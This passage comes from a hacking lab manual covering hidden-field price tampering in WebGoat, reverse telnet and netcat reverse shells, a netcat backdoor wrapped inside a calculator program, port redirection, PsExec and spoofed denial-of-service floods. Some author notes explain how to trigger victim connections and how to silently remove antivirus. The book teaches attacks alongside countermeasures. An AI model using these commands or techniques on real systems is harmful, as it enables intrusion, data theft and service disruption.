LAN Settings button.\n\u0001\nSelect Use a proxy server. \n\u0001\nIn the Address field enter 127.0.0.1.\n\u0001\nIn the Port field enter 5000.\n\u0001\nClick OK.\n" }, { "page_number": 591, "text": "578\n\u0001\nPractical Hacking Techniques and Countermeasures\nYou will be returned to the Internet Properties screen. Click OK.\nDouble-click on the Achilles.exe icon. The Achilles application will initiate.\n" }, { "page_number": 592, "text": "Wireless\n\u0001\n579\nSelect the following options on the right of the application:\n\u0001\nIntercept mode ON\n\u0001\nIntercept Client Data\n\u0001\nIgnore .jpg/.gif\nSelect Log to File. \nWhen Log to File is selected, you will be asked to name the file that the\ndata will be saved to.\n□ Log to File\n" }, { "page_number": 593, "text": "580\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, the file was named Lab83.txt. Click Save.\nYour Achilles screen should look like the following.\n" }, { "page_number": 594, "text": "Wireless\n\u0001\n581\nOpen Internet Explorer. (Because we have not started Achilles you will\nnot be able to get to the Internet.) Adjust both screens equally on your desktop.\nThe Start button on Achilles. \n The Achilles application will not start\nrunning. Notice that the status bar along the lower-left side of Achilles will\nlet you know it is running.\nIn the address bar of Internet Explorer, enter the following address:\nhttp://localhost/WebGoat/attack/\n Status: Running\n" }, { "page_number": 595, "text": "582\n\u0001\nPractical Hacking Techniques and Countermeasures\nPress Enter, and Achilles will list the data flowing through to the Tomcat\napplication that is currently running on your virtual machine. Click the Send\nbutton in Achilles. \nYou will be presented with a login screen.\nSend\n" }, { "page_number": 596, "text": "Wireless\n\u0001\n583\nFor the User Name and Password enter the word Guest. Click OK.\nYou will need to click the Send button again.\n" }, { "page_number": 597, "text": "584\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe WebGoat screen will be displayed in the Web browser.\nThe area of concern for this lab is under the Unvalidated Parameters\nsection, specifically the Hidden Field Tampering area. Click on this area.\nYou will need to click the Send button again.\nUnvalidated Parameters\n- Hidden Field Tampering\n" }, { "page_number": 598, "text": "Wireless\n\u0001\n585\nWebGoat will now present you with a shopping cart where you are allowed\nto pay $4,999.99 for a 46-inch High-Definition Television (HDTV).\nClick the Purchase button. \nWithin Achilles look for the line QTY=1&Price=4999.99.\nPurchase\n" }, { "page_number": 599, "text": "586\n\u0001\nPractical Hacking Techniques and Countermeasures\nI think that is a little too high for a new TV and since I only have a couple\nof dollars left from payday, I might as well spend it.\nWithin Achilles edit the 4999.99 to 1.99 and then click the Send button.\nNotice in the Web browser that the sale has completed, with a total charge\nof $1.99.\n" }, { "page_number": 600, "text": "Wireless\n\u0001\n587\nWebGoat keeps track of what areas you complete successfully by placing\na small green rectangle with an asterisk in it for each area you have completed.\n*Note: WebGoat is a good tool to use to familiarize yourself with several hacking\ntechniques. One thing to remember about Achilles is that it carries its own\nSSL certificate. The reason this is important is that you can successfully\nconduct a man-in-the-middle (MTM) attack. Imagine how many sites use SSL\n(banks, companies, etc.) and expect it to be the “cure-all” answer for their\nsecurity because the traffic is encrypted. Because Achilles uses its own SSL\ncertificate, the client browser thinks it is talking directly to the target and the\ntarget thinks it is talking directly to the client’s browser — the entire time the\ndata is being read and/or manipulated at will.\nUnvalidated Parameters\n- Hidden Field Tampering\n" }, { "page_number": 601, "text": "588\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 84: Covert Reverse Telnet Session \nCreate a Reverse Telnet Session: Netcat \nPrerequisites: None\nCountermeasures: Deny Telnet, Bastion computers, remove unneeded\nservices\nDescription: The netcat application is a valuable tool for an attacker. As\nsuch, when a target has been compromised, netcat is frequently\ninstalled and normally hidden on the target. This lab demonstrates how\nto use the netcat tool to set up a reverse Telnet session from a com-\npromised target.\nProcedure: From the attacking computer two separate netcat shells are\nexecuted with one listening for port 25 connections and the other for\nport 80 connections. (Both of these ports are normally allowed through\nfirewalls.) The target will execute a Telnet session to the attacker. As\ncommands are typed into one session from the attacker, the output\nwill be redirected through the target and back to the other session on\nthe attacker’s machine.\nStart by identifying the attacker’s IP address by typing ipconfig and press-\ning Enter.\n" }, { "page_number": 602, "text": "Wireless\n\u0001\n589\nOpen two command prompt sessions on the attacker’s machine.\nOn the first netcat session start listening by typing: \nnc –l –n –v –p 80\nPress Enter to make the netcat application begin listening for connections\non port 80.\n" }, { "page_number": 603, "text": "590\n\u0001\nPractical Hacking Techniques and Countermeasures\nOn the second netcat session start listening by typing: \nnc –l –n –v –p 25\nPress Enter to make the netcat application begin listening for connections\non port 25.\n" }, { "page_number": 604, "text": "Wireless\n\u0001\n591\nFrom the target machine type: \n/usr/bin/telnet 80 | /bin/bash | \n/usr/bin/telnet 25\nBy pressing Enter, you are redirecting traffic between ports 80 and 25.\nThese ports are chosen because most companies allow HTTP (80) and SMTP\n(25) through their firewalls.\n" }, { "page_number": 605, "text": "592\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the attacker’s machine, on the command prompt listening for port\n80 traffic, begin typing commands as if you were sitting behind the keyboard\nof the target. In this example, I started out with a simple directory listing\ncommand of ls –l.\nOnce you press Enter, the command will execute and route through the target,\nand the output will be displayed on the second command shell listening on port 25.\n" }, { "page_number": 606, "text": "Wireless\n\u0001\n593\nYou can easily change to the root directory by typing cd /root and\npressing Enter.\nAs no output is displayed after this command has been executed, rerun\nthe directory listing by typing ls –l and pressing Enter.\n" }, { "page_number": 607, "text": "594\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe directory listing of the root directory will now be displayed.\nIn this example, the attacker noted a directory named tools and decided\nto change to that directory by typing cd tools and pressing Enter.\n" }, { "page_number": 608, "text": "Wireless\n\u0001\n595\nBy running another directory listing, you can view the contents of the tools\ndirectory.\nYou can see how easy it is for the attacker to look through the target. The\nattacker had one final task of looking through the password file by typing: \ncat /etc/passwd\n*Note: Many readers ask at this point how to get the target to initiate the Telnet session\nto begin with. Keep in mind that most companies allow for port 80 and port 25\ntraffic anyway, and with tools like Elitewrap (Lab 87) the target can unknowingly\ninitiate a session to the attacker. If the target is Unix/Linux, have the cron job initiate\nthe connection. Security personnel should remember that those computers not\nneeding Telnet should have the application removed from it altogether. After all,\nwhy give the tools away to the attacker? Make attackers upload their own toolkit.\n" }, { "page_number": 609, "text": "596\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 85: Covert Channel ––– Reverse Shell \nExploit Data from Target Computer: Reverse Shell \nPrerequisites: None\nCountermeasures: Updated antivirus, strong ACLs\nDescription: The rx.exe application is “The Smallest VC++ Coded Uni-\nversal Windows Reverse Shell” for all versions of Windows\nNT/2K/XP/2003 with any service pack. \n\u0001\nDefault port from which it connects: 443 \n\u0001\nDefault port to which it connects: 8080\nProcedure: Start a listening netcat session on the attacker’s machine, then\nexecute on the target.\nVerify the IP address of the attacker’s machine by typing ipconfig (Win-\ndows) or ifconfig (Linux).\n" }, { "page_number": 610, "text": "Wireless\n\u0001\n597\nVerify the IP address of the victim’s machine by typing ipconfig (Windows)\nor ifconfig (Linux).\nOn the attacker’s machine start a netcat listening session for port 8080 by typing:\nnc –l –n –v –p 8080\n" }, { "page_number": 611, "text": "598\n\u0001\nPractical Hacking Techniques and Countermeasures\nWhen you press Enter, netcat will begin listening for connections on port 8080.\nOn the attacker’s machine, initiate the rx.exe and have it connect back to\nthe attacker by typing:\nrx \n" }, { "page_number": 612, "text": "Wireless\n\u0001\n599\nYou will be shown the command prompt once you press Enter. Users\nmight believe it did not work. (Check the attacker’s machine next.)\nNotice that the attacker’s machine is now showing that a connection has been\nmade and displays a command prompt. (Could this be the victim’s computer?)\n" }, { "page_number": 613, "text": "600\n\u0001\nPractical Hacking Techniques and Countermeasures\nType ipconfig (Windows) or ifconfig (Linux) to verify the IP address. You\nwill be looking at the IP address of the victim’s computer. You may now type\naway as if you are sitting behind the keyboard of the target computer.\nOnce the attacker wants to break the connection, he or she will type exit\nand press Enter.\n" }, { "page_number": 614, "text": "Wireless\n\u0001\n601\nThe attacker will now be back to the command shell of his or her own machine.\n*Note: I like this application due to its size, and it is quite effective. As with Lab 84,\nreaders tend to ask “how” to get the victim to execute the connection. Using\ntools such as Elitewrap (Lab 87), Windows scheduler, or Linux cron jobs are\na few ways.\nSuccessful attackers tend to think outside the box. Several techniques, such\nas covert channels or files made with Elitewrap, can be picked up by updated\nantivirus software. I can tell you with 100 percent certainty that it is possible\nto remove the antivirus prior to initiating the connection with applications\nbuilt with the InstallShield application. The key to doing this successfully is\nto know exactly what changes are made to a system when antivirus software\nis installed and then reverse the installation process while installing another\napplication. \nFor example, if an attacker releases a popular PC game, screen saver, or\nsimilar software and during this installation process disables or removes your\nantivirus “under the hood,” there is a good chance that a covert channel can\nbe made to the attacker. I personally ran across this situation while working\nfor a company that had not updated its antivirus software in years. The version\nthat this company had was so outdated that the newer version could not be\ninstalled without uninstalling all the old versions first. As there were more\nthan 1,000 remote computers, I made a custom software package with\n" }, { "page_number": 615, "text": "602\n\u0001\nPractical Hacking Techniques and Countermeasures\nInstallShield that would remove the old antivirus while it was running, reboot\nthe computer, and then install the latest version. By the way, when the\nantivirus was uninstalled the antivirus icon remained by the clock on the\nscreen, so the end users never knew what had happened, even if they were\nlooking right at it.\nPersonally, I see a problem if my antivirus can be removed while it is\nrunning, but it is possible.\nIf you need a good application to track all changes made during an\ninstallation, including files, Registry changes, and even reboots, I highly rec-\nommend the In Control application. The current version is version 5 and is\nincluded on the CD or can be downloaded from:\nhttp://www.devhood.com/\ntools/tool_details.aspx?tool_id=432\n" }, { "page_number": 616, "text": "Chapter 10\nRedirection\n" }, { "page_number": 617, "text": "" }, { "page_number": 618, "text": "Redirection\n\u0001\n605\nLab 86: PortMapper \nTraffic Redirection: PortMapper \nPrerequisites: None\nCountermeasures: Log monitoring, strong access control lists (ACLs)\nDescription: Firewalls are used to filter undesired network traffic. Port\nredirection allows you to bypass that restriction by forwarding traffic\nthrough allowed ports on the firewalls.\nProcedure: Install the application, configure the parameters, and use the\nprogram.\nFrom the target machine obtain the IP address by typing ipconfig and\npressing Enter.\n" }, { "page_number": 619, "text": "606\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the attacking machine, obtain the IP address by typing ipconfig and\npressing Enter.\nFrom the attacking computer, verify that port 80 is not currently in use by\ntyping netstat –an and pressing Enter.\n" }, { "page_number": 620, "text": "Redirection\n\u0001\n607\nDouble-click the pmapperi.exe icon to start the installation process.\nInstall PortMapper with the default options. The PortMapper Registra-\ntion screen will be displayed. In my case, the fields were filled with unread-\nable text. Not a problem.\n" }, { "page_number": 621, "text": "608\n\u0001\nPractical Hacking Techniques and Countermeasures\nEdit the fields and fill in your desired data. Click on Register Now.\nEnter the e-mail address you used in the last step and click OK.\n" }, { "page_number": 622, "text": "Redirection\n\u0001\n609\nYou will have successfully registered PortMapper. Click OK.\nThe PortMapper Readme file will be displayed. Read or close the file.\n" }, { "page_number": 623, "text": "610\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe PortMapper application is now installed and ready to be configured.\nClick OK.\nClick on Start/Programs/AnalogX/PortMapper/PortMapper icon to\nstart the application.\nThe PortMapper application will initialize. You will know it is running\nbecause of the icon now running next to the clock on the taskbar.\nRight-click on the PortMapper icon and click Configure.\n" }, { "page_number": 624, "text": "Redirection\n\u0001\n611\nThe PortMapper configuration screen will be displayed.\nClick the Configure IP button. This area is for filtering specific IP\naddresses. For the purposes of this lab this area is not used. Click Done.\n" }, { "page_number": 625, "text": "612\n\u0001\nPractical Hacking Techniques and Countermeasures\nYou will be returned to the PortMapper configuration screen.\nClick the Configure Mapping button. This area is where the port redi-\nrection is configured. Click the Add button.\n" }, { "page_number": 626, "text": "Redirection\n\u0001\n613\nThe port redirection setup screen will be displayed.\nEnter the port you want the attacker’s machine to listen on. In this example,\nit is port 80. Enter the target IP address you want the traffic coming to on the\nspecified port redirected to. Accept the default protocol or change to UDP.\nFor this lab leave it set as TCP. Accept the default interface option as Any\ninterface. Click OK.\n" }, { "page_number": 627, "text": "614\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe configuration screen will now display the new port mapping you just\nconfigured. You may set up multiple port redirection ports. Click Done.\nClick Done.\n" }, { "page_number": 628, "text": "Redirection\n\u0001\n615\nFrom the attacking computer, verify that port 80 is listening for a connection\nby typing netstat –an and pressing Enter.\nOpen Internet Explorer from the attacker’s machine.\n" }, { "page_number": 629, "text": "616\n\u0001\nPractical Hacking Techniques and Countermeasures\nChange the address to the local IP address of the attacker’s computer. In\nthis lab it is 172.16.1.56.\nBecause you told PortMapper to redirect all port 80 traffic to the target\nmachine’s address, the Web server from the target will now be displayed.\nNotice that the address implies that you are on the attacker’s local computer;\nbut you are not. We know this because the attacker’s machine is a Windows\n2000 machine and it is not running a Web server, but the target is.\n" }, { "page_number": 630, "text": "Redirection\n\u0001\n617\nTo verify this, open Internet Explorer and enter the local IP address of the\ntarget machine. You will receive the same screen as the one on the attacker’s\nmachine.\n*Note: I cannot stress enough how effective port redirection is and how easy it is\nto use. Many times if an attacker can gain access to a compromised computer\non the network that has access to the “sweet spot” within the network, a port\nredirection is set up to facilitate an easier path back to this “sweet spot” at a\nlater time. The best way to find port redirection is to know exactly what\ncomputer is supposed to have what ports open and routinely validate that\nonly those ports are in use.\n" }, { "page_number": 631, "text": "618\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 87: Executing Applications –– Elitewrap \nExecuting Hidden Applications: Elitewrap \nPrerequisites: NULL Session\nCountermeasures: Updated antivirus, frequent file verification\nDescription: Elitewrap is a command-line application used to “wrap”\napplications within other applications. Elitewrap offers users the option\nto hide program execution and execute as many applications as they\ndesire. This lab will demonstrate how to have a target execute an\napplication that brings up the Windows calculator and covertly execute\na netcat backdoor listening port to be exploited from another computer.\nProcedure: Obtain a list of the current ports in use from the target com-\nputer by typing netstat –an and pressing Enter.\nFor the purposes of this lab, I made sure the netcat (nc.exe) application\nis in the \nsame directory as the Elitewrap application.\nDouble-click the Elitewrap.exe icon to start the application.\n" }, { "page_number": 632, "text": "Redirection\n\u0001\n619\nThe Elitewrap application will open. First Elite needs to know what to call\nthe executable file you are sending to the target.\nIn this lab, we named the file Hacked.exe (be sure to put the .exe on the end).\n" }, { "page_number": 633, "text": "620\n\u0001\nPractical Hacking Techniques and Countermeasures\nAnswer y when asked to perform CRC-32 checking.\nA list of operations will be displayed, but the next item is what we want the\nvictim to see when they execute our new executable file named Hacked.exe. In\nthis lab, we want the Windows calculator to open up. Unless the calculator\napplication is in the same directory as the Elitewrap application, you will need to\nenter the full path. As this is a Windows 2000 machine the path is c:\\winnt\\\nsystem32\\calc.exe.\n" }, { "page_number": 634, "text": "Redirection\n\u0001\n621\nNow we decide if we actually want the victim to see something happen\nwith this file. By choosing option 6 (execute only, visible, asynchronously)\nthe calculator application will actually be executed on the target computer.\nThe next line specifies if there are any parameters or options you want to\nuse with the executable. As this is the calculator, there are no options so just\npress Enter.\n" }, { "page_number": 635, "text": "622\n\u0001\nPractical Hacking Techniques and Countermeasures\nNext is the secret part of our new program. We want to execute a netcat\nlistening session on the target computer. Enter nc.exe or you can enter the\nfull path to the nc.exe application.\nNow we want to make sure this executable is hidden from the victim when\nit executes, so we choose option 7 (execute only, hidden, asynchronously).\n" }, { "page_number": 636, "text": "Redirection\n\u0001\n623\nThe netcat application requires options to set it up to listen and to execute\na reverse shell. In this lab, we want netcat to start listening on port 23, and if\nconnected, to return a remote shell. This is done by typing –l –p 23 –t –e\ncmd.exe and pressing Enter.\n\u0001\nThe –l option instructs netcat to start listening.\n\u0001\nThe –p 23 option tells netcat what port to listen on.\n\u0001\nThe –t option tells netcat to handle any Telnet negotiations.\n\u0001\nThe –e cmd.exe option tells netcat to send anyone connecting to this port a shell.\nElitewrap will ask if you want to keep adding files. At this point we are\ndone, so just press Enter.\n" }, { "page_number": 637, "text": "624\n\u0001\nPractical Hacking Techniques and Countermeasures\nWithin the directory containing the Elitewrap application a new program\nwill now be displayed, called Hacked.exe. Double-click this program on the\ntarget computer.\nThe Windows calculator will be displayed. The user can use this normally.\nWhen the user closes the calculator, the fun begins because it executes our\nnetcat command as outlined above.\nBy executing the netstat –an command again from the target computer\nyou will notice that port 23 is now listening for connections.\n" }, { "page_number": 638, "text": "Redirection\n\u0001\n625\nFrom the directory containing the netcat executable on the attacking\ncomputer we want to try to connect to our victim by typing:\nnc –v \nIn this example, we type nc –v 192.168.1.128 23. The –v option tells\nnetcat to run in verbose mode to show the activity.\nFrom the attacking computer, we now have a C: prompt displayed. Could\nthis be the target?\n" }, { "page_number": 639, "text": "626\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo verify, type ipconfig and press Enter.\nAs you can see, we now have a C: prompt on the target computer. \n*Note: Elitewrap is an excellent “wrapping” tool and is very effective against those com-\nputers with outdated or no antivirus software. Once the attacker presses Ctrl+C\nto break the connection, the port will stop listening on the target computer.\n" }, { "page_number": 640, "text": "Redirection\n\u0001\n627\nLab 88: TCP Relay: Bypass Firewalls \nTraffic Redirection: Fpipe \nPrerequisites: None\nCountermeasures: Log monitoring, strong (ACLs)\nDescription: Firewalls are used to filter undesired network traffic. Port\nredirection allows you to bypass that restriction by forwarding traffic\nthrough allowed ports on the firewalls.\nProcedure: Set the parameters, execute, and verify results. \nIn this example, we want to verify the IP address of the Web server by\ntyping ipconfig and pressing Enter.\n" }, { "page_number": 641, "text": "628\n\u0001\nPractical Hacking Techniques and Countermeasures\nVerify the Web site is running by bringing up the site on the server.\nFrom the local computer (not the Web server), we want to verify the IP\naddress by typing ipconfig and pressing Enter.\n" }, { "page_number": 642, "text": "Redirection\n\u0001\n629\nNext, verify what ports are in use by typing netstat –an and pressing Enter.\nThe first column lists the local address with ports in use. For example:\n172.16.1.56:139 0.0.0.0:0 \nLISTENING\n\u0001\nThe 172.16.1.56:139 identifies the local machine’s IP address with port 139 open.\n\u0001\nThe 0.0.0.0:0 identifies any remote IP addresses the machine is connected to.\n\u0001\nLISTENING tells you that this port is currently listening for connections.\n" }, { "page_number": 643, "text": "630\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo execute the Fpipe redirection tool, type (from the directory containing\nthe application):\nfpipe –v –i 172.16.1.56 –l 80 –r 80 172.16.1.60\n\u0001\n–v instructs Fpipe to run in verbose mode (shows details as they occur).\n\u0001\n–i instructs Fpipe to listen on the IP address following it (172.16.1.56).\n\u0001\n–r instructs Fpipe to use the remote port following it (port 80).\n\u0001\n172.16.1.60 is the IP address of the Web server.\n" }, { "page_number": 644, "text": "Redirection\n\u0001\n631\nThe Fpipe application will start listening on port 80 of the local computer\nand redirect all traffic to port 80 on the Web server’s IP address.\nVerify that the local machine is now listening on port 80 by typing netstat\n–an and pressing Enter.\n" }, { "page_number": 645, "text": "632\n\u0001\nPractical Hacking Techniques and Countermeasures\nOpen Internet Explorer on the local machine and enter the local IP address\n(172.16.1.56) into the address bar of the browser. Because port 80 is now\nlistening on the local machine and Fpipe redirected all traffic from port 80 to\nthe Web server IP address (172.16.1.60), the Web site will be displayed.\nBy looking at the Fpipe screen, the verbose will list the data flow statistics\nfor the connection.\n*Note: Fpipe, from Foundstone, is a small, fast port redirector and I highly recom-\nmend this application if you have a need for traffic redirection.\n" }, { "page_number": 646, "text": "Redirection\n\u0001\n633\nLab 89: Remote Execution \nRemote Execution on Target: PsExec \nPrerequisites: File and print sharing enabled and Admin$ share (a hidden\nshare that maps to the \\windows directory) is defined on the remote\nsystem. Compromised target with Administrative access.\nCountermeasures: Bastion servers, strong password policy and enforcement\nDescription: PsExec is a lightweight Telnet replacement that lets you\nexecute processes on other systems, complete with full interactivity for\nconsole applications, without having to manually install client software.\n*Note: This is an excellent tool to execute applications on remote systems that have\nbeen compromised. The best part of this application is that it requires no\nsoftware to be installed on the target.\nProcedure: Set the parameters and execute against the target.\nVerify the IP address on the target by typing ipconfig and pressing Enter.\n" }, { "page_number": 647, "text": "634\n\u0001\nPractical Hacking Techniques and Countermeasures\nRepeat the IP verification on the attacking machine.\nTo execute the ipconfig command from the attacking computer to the target\ncomputer, type: \npsexec \\\\ –i –u -p \n command\n\u0001\n is the target’s IP address or hostname.\n\u0001\n–i instructs psexec to interact with the desktop on the target system.\n\u0001\n–u is the username switch.\n\u0001\n–p is the password switch.\n\u0001\ncommand is the command to execute on the target.\n" }, { "page_number": 648, "text": "Redirection\n\u0001\n635\nPsExec will now execute the ipconfig command on the target machine and\ndisplay the results on the attacker’s computer.\nTo try something dangerous on the target, tell PsExec to execute a com-\nmand shell of the target machine on the attacker’s computer by typing:\npsexec \\\\w2kas –i –u administrator –p 123 cmd\n" }, { "page_number": 649, "text": "636\n\u0001\nPractical Hacking Techniques and Countermeasures\nWith a successful connection the prompt will now change to the c:\\WINNT\\\nsystem32 directory because that is where the cmd.exe command resides on\nthe target.\nNow by running the ipconfig command, you display the target information.\nThis indicates you can operate the target computer from the command shell\nas though you were sitting directly behind the target computer.\n" }, { "page_number": 650, "text": "Redirection\n\u0001\n637\nTo exit the command shell on the target, type exit and press Enter.\nYou will now be returned to the attacker’s desktop.\n*Note:\nSeveral readers at this point may wonder what the point is by running this program as\nyou are already required to have Administrative access for PsExec to execute commands\non the target system. The answer is that because you have Administrative access on one\ncomputer does not necessarily indicate you have Administrative access throughout the\nentire network. However, gaining command shell Administrative access to one computer\non the network will allow the attacker to execute other tools from the compromised\nsystem, map the network, install tools, Trojans, viruses, and so forth. Do not always\nassume that Administrative access on one computer is the key to the city.\n" }, { "page_number": 651, "text": "638\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 90: TCP Relay –– Bypass Firewalls \nTraffic Redirection: NETWOX/NETWAG \nPrerequisites: None\nCountermeasures: Log monitoring, strong ACL\nDescription: The NETWOX (NETWork toolbOX) application can be a\nvery dangerous tool in the wrong hands. The latest version has 197\ndifferent techniques to enumerate information from the LAN or launch\nattacks against a remote target. This tool is listed in several sections of\nthis manual. In this lab the tool is used to demonstrate its ability to\nrelay TCP traffic. (Tool 185 permits multiple/simultaneous connec-\ntions.) Disgruntled employees can use this technique to bypass content\nfiltering and an attacker uses compromised systems to launch attacks\nfrom.\nProcedure: Install NETWOX/NETWAG, run the NETWOX application, and\nreview the results. (The NETWAG application is the Graphical User\nInterface [GUI] for the NETWOX application. In Lab 53 the GUI was\ndemonstrated. This lab will use NETWOX.)\nFrom the computer NETWOX is installed on, ping www.Google.com and\nobtain the IP address (216.239.39.99).\nOpen a Web browser and enter the IP address to verify if Google is retrieved.\n" }, { "page_number": 652, "text": "Redirection\n\u0001\n639\nObtain the IP address of the computer to run NETWOX; in this example:\n192.168.11.60. Start the NETWOX application from the shortcut installed\nduring installation. The initial screen will display several options. For this\nexample, select option 6 and press Enter.\nFor the tool number enter 183 and press Enter.\n" }, { "page_number": 653, "text": "640\n\u0001\nPractical Hacking Techniques and Countermeasures\nFor the source port number enter any TCP port not currently in use. (You\ncan verify this with the netstat –an command from a DOS prompt.)\nFor this example port 2966 was used.\nFor the destination IP address enter the Google IP address obtained earlier.\n(216.239.39.99). Enter port 80 as the destination port and answer No to\nsetting optional arguments.\nFrom another computer that has access to the computer running NETWOX,\nopen a Web browser and enter the IP address of the computer running\nNETWOX plus the port number identified as running the source port number.\nIn this example, we used http://192.168.11.60:2966 (Google should\ncome up).\n" }, { "page_number": 654, "text": "Redirection\n\u0001\n641\nIn this example, port redirection was used on a target to browse to the\nInternet. Attackers or even disgruntled employees can use this tool to bypass\nnetwork restrictions plus more.\n*Note: Port redirection can be very difficult to detect and almost impossible to\nprevent because of the weaknesses with all firewalls; after all, “They cannot\nprevent what they must allow.” Because of this weakness an attacker can use\nport redirection through any allowed port through the firewall. Internet fire-\nwalls commonly allow ports 21, 53, 80, 443, and so forth.\n" }, { "page_number": 655, "text": "" }, { "page_number": 656, "text": "Chapter 11\nDenial-of-Service (DoS)\n" }, { "page_number": 657, "text": "" }, { "page_number": 658, "text": "Denial-of-Service (DoS)\n\u0001\n645\nLab 91: Denial-of-Service –– Land Attack \nDoS Land Attack: Land Attack \nPrerequisites: None\nCountermeasures: Secure access control lists (ACLs), Bastion servers/\nworkstations, ingress filtering\nDescription: Sending a packet with the synchronize (SYN) flag set to a\ntarget where the source IP is set to match the actual target’s IP causes\nthe system to try to respond to itself, causing the system to lock up.\nProcedure: Install RafaleX, set parameters, and execute against the target.\nVerify with the packet sniffer.\n\u0001\nInstall the RafaleX application as outlined in Lab 48.\n\u0001\nInstall the Ethereal application as outlined in Lab 41.\n\u0001\nOpen the Ethereal application and start capturing data (refer to Lab 41).\n\u0001\nOpen the RafaleX application by clicking on the RafaleX.exe icon.\nThe RafaleX application will start.\n" }, { "page_number": 659, "text": "646\n\u0001\nPractical Hacking Techniques and Countermeasures\nSet the Source IP address to the IP Address of the target. Set the Source\nPort to 80. (We know it is a Web server.)\nSet the Destination IP address to the target IP address. Set the Destina-\ntion Port to 80.\n" }, { "page_number": 660, "text": "Denial-of-Service (DoS)\n\u0001\n647\nOn the TCP tab click on the SYN Flag. Enter random data for the payload\nof each packet. Set the Nb of packets to 9999.\nClick the SEND button.\n*Note: I have used RafaleX for several years and at times it can appear to be “buggy”\nby not wanting to send packets. The best way I have found to fix this is to\nclose the program, bring it back up, and try again.\nThe status bar along the bottom of the application will tell you how many\npackets it has sent compared to how many packets it will send.\n" }, { "page_number": 661, "text": "648\n\u0001\nPractical Hacking Techniques and Countermeasures\nStop the packet capture and the overall results will be displayed.\nBy clicking on the Source IP column the results will filter based on the\nsource IP of each packet. Fortunately for us, our spoofed packets are listed\nfirst. (You may have to click it twice to get the spoofed packets listed first.)\n" }, { "page_number": 662, "text": "Denial-of-Service (DoS)\n\u0001\n649\nBy selecting any of your spoofed packets, you can display the details of\nthe packets in the center section. By dragging the borders of the sections, you\ncan increase or decrease each section.\nIn this example, by looking at the center section, we can verify that each\npacket was successfully sent with the spoofed source IP address of the target\nto the target from port 80 to port 80.\n*Note: This attack can be easily defeated from external attacks by ingress filtering.\nThis still leaves you vulnerable to internal land attacks, and depending on\nall the traffic generated, it can be difficult to locate the actual attacker. It\nwould require backing up switch by switch to create a process of elimination\nto locate the actual system sending the attack.\n" }, { "page_number": 663, "text": "650\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 92: Denial-of-Service –– Smurf Attack \nDoS Smurf Attack: Smurf Attack \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations\nDescription: Attackers are using ICMP echo request packets directed to\nIP broadcast addresses from remote locations to generate denial-of-\nservice attacks. The packets use a “spoofed” source address so all\nresponding machines on that network send traffic to that target, creat-\ning a large amount of network congestion.\nProcedure: Install RafaleX, set parameters, and execute against the target.\nVerify with the packet sniffer.\n\u0001\nInstall the RafaleX application as outlined in Lab 48.\n\u0001\nInstall the Ethereal application as outlined in Lab 41.\n\u0001\nOpen the Ethereal application and start capturing data (refer to Lab 41).\n\u0001\nOpen the RafaleX application by clicking on the RafaleX.exe icon.\nThe RafaleX application will start.\n" }, { "page_number": 664, "text": "Denial-of-Service (DoS)\n\u0001\n651\nSet the Source IP to a “spoofed” IP address (10.10.10.10). Set the Source\nPort to 123.\nSet the Destination IP to the Broadcast address of the network\n(x.x.x.255). Set the Destination Port to port 80.\n" }, { "page_number": 665, "text": "652\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the ICMP tab. Enter random data for the payload of each packet.\nSet the Nb of packets to 9999. Click the SEND button.\n*Note: I have used RafaleX for several years and at times it can appear to be “buggy”\nby not wanting to send packets. The best way I have found to fix this is to\nclose the program, bring it back up, and try again.\nThe status bar along the bottom of the application will tell you how many\npackets it has sent compared to how many packets it will send.\n" }, { "page_number": 666, "text": "Denial-of-Service (DoS)\n\u0001\n653\nClick Stop to stop the packet capture and the overall results will be displayed.\nClick on the Source IP column to filter the results based on the source IP\nof each packet. Fortunately for us, our spoofed packets are listed first. (You\nmay have to click it twice to get the spoofed packets listed first.)\n" }, { "page_number": 667, "text": "654\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy selecting any of your spoofed packets, you can view the details of the\npackets in the center section. By dragging the borders of the sections, you\ncan increase or decrease each section.\nIn this example, by looking at the center section, we can verify that each\npacket was successfully sent with a spoofed source IP address to the target\nfrom port 123 to port 321.\n*Note: This became known as a “Smurf” attack because of its ability to crash a\nWindows machine and displaying the famous “Blue Screen of Death.”\n*Note: Attackers commonly look for routers that do not filter broadcast addresses,\nwhich fits this attack perfectly. Security Administrators should always be\naware of traffic flowing through the routers on their networks.\n" }, { "page_number": 668, "text": "Denial-of-Service (DoS)\n\u0001\n655\nLab 93: Denial-of-Service –– SYN Attack \nDoS Land Attack: SYN Attack \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations\nDescription: When an attacker sends a series of SYN requests with a\n“spoofed” source IP address to a target (victim), the target sends a SYN\nAcknowledge (ACK) in response and waits for an ACK to come back\nto complete the session setup. Because the source was “spoofed” the\nresponse never comes, filling the victim’s memory buffers so that it\ncan no longer accept legitimate requests.\nProcedure: Install RafaleX, set parameters, and execute against the target.\nVerify with the packet sniffer.\n\u0001\nInstall the RafaleX application as outlined in Lab 48.\n\u0001\nInstall the Ethereal application as outlined in Lab 41.\n\u0001\nOpen the Ethereal application and start capturing data (refer to Lab 41).\n\u0001\nOpen the RafaleX application by clicking on the RafaleX.exe icon.\nThe RafaleX application will start.\n" }, { "page_number": 669, "text": "656\n\u0001\nPractical Hacking Techniques and Countermeasures\nSet the Source IP address to a spoofed IP address (100.100.100.100). Set\nthe Source Port to 123.\nSet the Destination IP address to the target IP address. Set the Destina-\ntion Port to 80.\n" }, { "page_number": 670, "text": "Denial-of-Service (DoS)\n\u0001\n657\nOn the TCP tab click on the SYN Flag. Enter random data for the payload\nof each packet. Set the Nb of packets to 9999. Click the SEND button.\n*Note: I have used RafaleX for several years and at times it can appear to be “buggy”\nby not wanting to send packets. The best way I have found to fix this is to\nclose the program, bring it back up, and try 